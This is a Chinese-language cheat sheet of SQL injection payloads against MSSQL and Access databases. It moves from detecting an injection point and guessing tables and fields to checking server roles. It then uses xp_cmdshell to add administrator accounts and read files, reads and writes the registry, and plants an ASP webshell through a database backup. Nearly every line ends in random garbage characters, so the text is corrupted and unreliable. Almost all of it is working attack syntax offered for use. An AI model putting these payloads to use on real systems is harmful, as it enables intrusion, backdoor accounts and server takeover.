1.判断是否有注入;and 1=1 ;and 1=2 _FR_6*C)5
2.初步判断是否是mssql ;and user>0 "H\1Z,P<m
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3.注入参数是字符'and [查询条件] and ''=' B|XrjI?
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ;+jz=9Q-
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5.判断数据库系统 v"ZNS
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;and (select count(*) from sysobjects)>0 mssql &8$Gyu
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;and (select count(*) from msysobjects)>0 access RC?gozBFJ
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 Vi1l^ Za
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $r+_Y/
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 0])D)%B
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9.(1)猜字段的ascii值(access) uIh68UM
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(2)猜字段的ascii值(mssql) Hw29V //
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10.测试权限结构(mssql) o0ky]9
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ak1?MKV.
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4,EX2
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6sjd:~J:
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- '_ZiZ4O
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Ob!NC&
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- VN3[B
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;and 1=(select IS_MEMBER('db_owner'));-- 65 ]>6D43
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11.添加mssql和系统的帐户 Yw(O}U 5e
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;exec master.dbo.sp_addlogin username;-- m3#rU%Wj
;exec master.dbo.sp_password null,username,password;-- i8w/a
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- L`3;9rO
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;exec master.dbo.xp_cmdshell 'net user username password NJ^Bv`
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- k%D|17I
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Uc%kyTBm1
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- G22{',#r8
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12.(1)遍历目录 Llf#g#T
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;create table dirs(paths varchar(100), id int) 3-/F]}0y6
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;insert dirs exec master.dbo.xp_dirtree 'c:\' \X2r?
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;and (select top 1 paths from dirs)>0 Uee(1
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) eC{St0
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(2)遍历目录 {h*)|J
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8|L;y[v
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 #HDP ha
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 b+`qGJrej
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 "c.@4#/_
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 WES$B7y
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13.mssql中的存储过程 W m&*
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xp_regenumvalues 注册表根键, 子键 ]f~!Qk!I7r
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 )g?ox{Hol
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xp_regread 根键,子键,键值名 704_ehrlE
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 *C);IdhK%y
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xp_regwrite 根键,子键, 值名, 值类型, 值 ~ o=kW2Y
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 I!#WXK
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xp_regdeletevalue 根键,子键,值名 Cg(&WJw(ep
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 IczMf%
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 hSz_e
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14.mssql的backup创建webshell a!EW[|[Q
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use model U[? f@.&
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create table cmd(str image); j#Qnu0D
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insert into cmd(str) values (''); Z~w2m6;s
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backup database model to disk='c:\l.asp'; IhN^*P:Fo
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15.mssql内置函数 t3AmXx
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;and (select @@version)>0 获得Windows的版本号 6L;]5)#
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa p~NHf\
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;and (select user_name())>0 爆当前系统的连接用户 O^PN{u
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;and (select db_name())>0 得到当前连接的数据库 CH#K0hi
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16.简洁的webshell \H9:%Tlp~4
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use model ftKL#9,s(
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create table cmd(str image); !"o\H(siT
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insert into cmd(str) values (''); }g@
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backup database model to disk='g:\wwwtest\l.asp';